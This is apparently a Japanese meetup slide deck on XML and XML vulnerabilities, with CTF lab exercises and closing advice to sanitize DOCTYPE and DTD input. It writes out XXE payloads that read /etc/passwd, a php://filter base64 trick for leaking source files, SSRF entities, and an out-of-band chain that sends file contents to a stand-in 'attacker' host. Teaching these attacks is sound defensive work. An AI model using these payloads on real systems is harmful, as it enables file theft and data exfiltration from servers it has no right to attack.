1 of 53

本当は怖いXML

元祖 濱せっく #1�icchy

2 of 53

~$ whoami

  • @icchyr�
  • CTF: TokyoWesterns�

3 of 53

2017年にXMLの脆弱性?w

4 of 53

OWASP Top10 2017

5 of 53

6 of 53

7 of 53

あのhasegawayosuke先生も注目

8 of 53

某社のブログ

9 of 53

10 of 53

11 of 53

12 of 53

3日前にネタが被る

13 of 53

今日話すこと

  • XMLについて�
  • XMLの脆弱性について

14 of 53

XMLについて

15 of 53

XMLとは

  • eXtensible Markup Language
    • 拡張可能なマークアップ言語
    • 構造を記述する�

16 of 53

XMLの例 (Well Formed XML)

<?xml version=”1.0” encoding=”utf-8”?>

<books>

<book>

<title>title</title>

<authors>

<author>

<name>author1</name>

</author>

<author>

<name>author2</name>

</author>

</authors>

<price currency=”USD”>10.00</price>

</book>

</books>

17 of 53

XMLの例 (Well Formed XML)

<?xml version=”1.0” encoding=”utf-8”?>

<books>

<book>

<title>title</title>

<authors>

<author>

<name>author1</name>

</author>

<author>

<name>author2</name>

</author>

</authors>

<price currency=”USD”>10.00</price>

</book>

</books>

XML宣言

XML本体 (XMLインスタンス)

18 of 53

XMLの例 (Well Formed XML)

<?xml version=”1.0” encoding=”utf-8”?>

<books>

<book>

<title>title</title>

<authors>

<author>

<name>author1</name>

</author>

<author>

<name>author2</name>

</author>

</authors>

<price currency=”USD”>10.00</price>

</book>

</books>

XML宣言

要素名内容からなる要素 (element)

属性 (attribute)

XML本体�(XMLインスタンス)

19 of 53

XMLの使いみち

  • アプリケーションの設定ファイル
    • 任意の木構造が記述できる
    • 例) C#のapp.config�
  • データを管理する手段
    • RDBMSに似たスキーマを定義することができる
    • XMLDBというものも存在�
  • 構造の妥当性を検証する手段が欲しい�→ DTD (Document Type Definition)

20 of 53

DTD

  • 要素と属性の依存関係を記述する
    • XMLは木構造なのでその関係も木構造 (閉路を持つことはできない)

<books>

<book>

<title>title</title>

<authors>

<author>

<name>author1</name>

</author>

...

</authors>

<price currency=”USD”>10.00</price>

</book>

</books>

books

book

book

book

title

authors

author

name

price

currency

title

10.00

USD

author1

21 of 53

DTD

  • 基本的に要素に対する情報を記述
    • 要素の子を定義 (ELEMENT)
      • 要素
    • 要素がもつ属性を定義 (ATTRLIST)�
  • <!ELEMENT book title>
    • 要素bookはtitleをもつ
    • (title|authors|price) のようにして複数記述可�
  • <!ATTRLIST price currency CDATA “USD”>
    • 要素priceはCDATA型の属性currencyをもつ (値は”USD”)�
  • #PCDATAを用いることで任意の値を記述可能
    • 他にも細かい仕様が存在するが割愛

22 of 53

DTD

  • ELEMENT, ATTRLISTの他にENTITYがある
    • テンプレート機能のようなもの�
  • <!ENTITY foo “bar”>
    • 識別子 foo が ”bar” に置換される
    • <hoge>&foo;</hoge> → <hoge>bar</hoge>

23 of 53

DTDの使い方

  • DOCTYPE宣言を用いて記述
    • 外部サーバーから読み込む方法 (PUBLIC)�����
      • http://.../test.dtd からDTDファイルを読み込む
      • XMLインスタンスがそのDTDに従っているものをValid XMLという
    • 内部ファイルから読み込む方法 (SYSTEM)�����
      • ローカルのサーバーからtest.dtdを読み込む

<?xml version=”1.0” encoding=”utf-8”?>

<!DOCTYPE test PUBLIC “-//W3C//DTD HTML 4.01//EN” “http://.../test.dtd”>

<root>

...

<?xml version=”1.0” encoding=”utf-8”?>

<!DOCTYPE test SYSTEM “test.dtd”>

<root>

...

24 of 53

XMLの脆弱性

25 of 53

代表的なXMLの脆弱性

  • XPath injection
    • XPath queryに未検証のユーザー入力を用いる時に発生�
  • XXE (XML eXternal Entity) Processing
    • DoS
    • Local file disclosure
    • SSRF�
  • libxml2の脆弱性
    • XMLパーサーの不備をついてmemory corruption

26 of 53

XXE

  • DTDのENTITYという機能
    • ENTITYはXMLをパースする側 (サーバー側) で展開される�→ 悪用できそう�
  • 大量にENTITY展開を展開することでDoSに繋がる
    • XML Bomb, Entity expansion�
  • ENTITYの指す先をローカルネットワークやサーバーに向ける

27 of 53

XML Bomb

  • MBSD blog https://www.mbsd.jp/blog/20171130.html

28 of 53

XML Bomb

  • MBSD blog https://www.mbsd.jp/blog/20171130.html

29 of 53

XML Bomb

  • MBSD blog https://www.mbsd.jp/blog/20171130.html

30 of 53

XML Bomb

  • MBSD blog https://www.mbsd.jp/blog/20171130.html

31 of 53

XML Bomb

  • MBSD blog https://www.mbsd.jp/blog/20171130.html

大量のリソースを消費

32 of 53

XXE injection

  • DOCTYPE宣言の中にDTDを記述することができる

<?xml version=”1.0” encoding=”utf-8”?>�<!DOCTYPE [

<!ENTITY xxe SYSTEM “file:///etc/passwd”>

]>�<root>&xxe;</root>

33 of 53

XXE injection

  • DOCTYPE宣言の中にDTDを記述することができる

<?xml version=”1.0” encoding=”utf-8”?>�<!DOCTYPE [

<!ENTITY xxe SYSTEM “file:///etc/passwd”>

]>�<root>&xxe;</root>

34 of 53

XXE injection

  • DOCTYPE宣言の中にDTDを記述することができる

<?xml version=”1.0” encoding=”utf-8”?>�<!DOCTYPE [

<!ENTITY xxe SYSTEM “file:///etc/passwd”>

]>�<root>&xxe;</root>

35 of 53

XXE injection

  • DOCTYPE宣言の中にDTDを記述することができる

<?xml version=”1.0” encoding=”utf-8”?>�<!DOCTYPE [

<!ENTITY xxe SYSTEM “file:///etc/passwd”>

]>�<root>root:x:0:0:root:/root:/bin/bash�daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin�bin:x:2:2:bin:/bin:/usr/sbin/nologin�sys:x:3:3:sys:/dev:/usr/sbin/nologin�sync:x:4:65534:sync:/bin:/bin/sync�games:x:5:60:games:/usr/games:/usr/sbin/nologin�man:x:6:12:man:/var/cache/man:/usr/sbin/nologin�lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin�mail:x:8:8:mail:/var/mail:/usr/sbin/nologin�news:x:9:9:news:/var/spool/news:/usr/sbin/nologin�uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin�...

36 of 53

lab1

  • HamaCTF xmlint: http://hamasec.ctf.tonkatsu.info
    • XMLを整形してくれるだけのサービス
    • /etc/passwdを読んでみましょう

37 of 53

lab1

  • HamaCTF xmlint: http://hamasec.ctf.tonkatsu.info
    • XMLを整形してくれるだけのサービス
    • /etc/passwdを読んでみましょう

38 of 53

XXE injection

  • ENTITYは”厳密に”置き換える
    • 置き換えた後のXMLも正常にパースできる必要がある
    • <, >などのメタ文字を含むファイルはリークできない�
  • SYSTEMの引数はそのまま処理系に渡される
    • 処理系が対応しているスキームであればopenされる
    • file://, http://, ftp://, …�
  • PHPを使っている場合はさらに攻撃可能

39 of 53

XXE injection

  • php:// はPHPの入出力ストリームを呼び出すスキーマ
    • php://stdin, php://stdout, php://stderr, …�
  • php://filter というストリームがある
    • phpの変換フィルタを呼び出すことができる
      • rot13
      • base64
      • quoted-printable-encode
      • など�
  • base64を用いることで任意のデータをalnumで符号化することができる
    • メタ文字が消えるのでは?

40 of 53

lab2

  • ~$ php -a�
  • php://filter/convert.base64-encode/resource=/path/to/file�
  • file_get_contents, include�
  • HamaCTF xmlint: http://hamasec.ctf.tonkatsu.info
    • index.phpを読んでみましょう

41 of 53

XXE injection (advenced)

  • パースした結果が見られなければ安全?
    • いいえ�
  • SYSTEMの引数はそのまま処理系に渡される
    • 処理系が対応しているスキームであればopenされる
    • file://, http://, ftp://, …�
  • http:// を用いることでSSRFが可能
    • <!ENTITY xxe SYSTEM “http://192.168.1.2/hoge”>
    • 192.168.1.2/hogeへのアクセスが発生�
  • /hogeの部分にENTITYを指定できたら?
    • 攻撃者のサーバーへリクエストを発生させることができる

42 of 53

XXE injection (advanced)

  • これで&xxe2;を参照するとリクエストが発生する?���
    • しない
    • /&xxe1; にリクエストが飛んでくるだけ�
  • パースが行われる順番に深く依存する
    • xxe2が展開された時点でxxe1も展開されている必要がある
    • つまり単一のXMLのパースのみで発火させるのは不可能 (参照時に展開されるため)

<!ENTITY xxe1 SYSTEM “file:///etc/passwd”>

<!ENTITY xxe2 SYSTEM “http://attacker/&xxe1;”>

43 of 53

XXE injection (advanced)

  • ではどうするか?
    • もう一つファイルを読み込んでその中で解決すればよい
    • 攻撃者のサーバーを使う
    • http://attacker/payload に次のようなデータを用意����
    • 次のようなXMLをパースさせると…

<!ENTITY step1 SYSTEM “http://attacker/payload”>

]>

&step1;�&step2;

&step3;

<!ENTITY data SYSTEM “/path/to/file”>

<!ENTITY step2 ‘<!ENTITY step3 SYSTEM “http://attacker/?&data;”>’>

44 of 53

<!ENTITY step1 SYSTEM “http://attacker/payload”>

]>

&step1;�&step2;

&step3;

<!ENTITY data SYSTEM “/path/to/file”>

<!ENTITY step2 ‘<!ENTITY step3 SYSTEM “http://attacker/?&data;”>’>

45 of 53

<!ENTITY step1 SYSTEM “http://attacker/payload”>

]>

&step1;�&step2;

&step3;

<!ENTITY data SYSTEM “/path/to/file”>

<!ENTITY step2 ‘<!ENTITY step3 SYSTEM “http://attacker/?&data;”>’>

46 of 53

<!ENTITY step1 SYSTEM “http://attacker/payload”>

]>

<!ENTITY data SYSTEM “/path/to/file”>

<!ENTITY step2 ‘<!ENTITY step3 SYSTEM “http://attacker/?&data;”>’>

&step2;

&step3;

47 of 53

<!ENTITY step1 SYSTEM “http://attacker/payload”>

]>

<!ENTITY data SYSTEM “/path/to/file”>

<!ENTITY step2 ‘<!ENTITY step3 SYSTEM “http://attacker/?&data;”>’>

&step2;

&step3;

48 of 53

<!ENTITY step1 SYSTEM “http://attacker/payload”>

]>

<!ENTITY data SYSTEM “/path/to/file”>

<!ENTITY step2 ‘<!ENTITY step3 SYSTEM “http://attacker/?&data;”>’>

<!ENTITY step3 SYSTEM “http://attacker/?&data;”>

&step3;

49 of 53

<!ENTITY step1 SYSTEM “http://attacker/payload”>

]>

<!ENTITY data SYSTEM “/path/to/file”>

<!ENTITY step2 ‘<!ENTITY step3 SYSTEM “http://attacker/?&data;”>’>

<!ENTITY step3 SYSTEM “http://attacker/?&data;”>

&step3;

50 of 53

<!ENTITY step1 SYSTEM “http://attacker/payload”>

]>

<!ENTITY data SYSTEM “/path/to/file”>

<!ENTITY step2 ‘<!ENTITY step3 SYSTEM “http://attacker/?&data;”>’>

<!ENTITY step3 SYSTEM “http://attacker/?{leaked data}”>

&step3;

51 of 53

<!ENTITY step1 SYSTEM “http://attacker/payload”>

]>

<!ENTITY data SYSTEM “/path/to/file”>

<!ENTITY step2 ‘<!ENTITY step3 SYSTEM “http://attacker/?&data;”>’>

<!ENTITY step3 SYSTEM “http://attacker/?{leaked data}”>

&step3;

http://attacker/?{leaked data}に�リクエストが発生

52 of 53

XXE injection (advanced)

  • GETリクエストのpathとしてデータがリークされる
    • あまり長いリクエストを投げることはできない
    • zlibを用いることによりある程度圧縮可能�
  • 原因はENTITYの置き換えなのでこれを無効化すれば解決?
    • 正常なentityの置き換えも無効化してしまう
    • ユーザーの入力を検証してDOCTYPE宣言やDTDをsanitizeすべき (私見)

53 of 53

まとめ

  • XMLをパースするときには気をつけましょう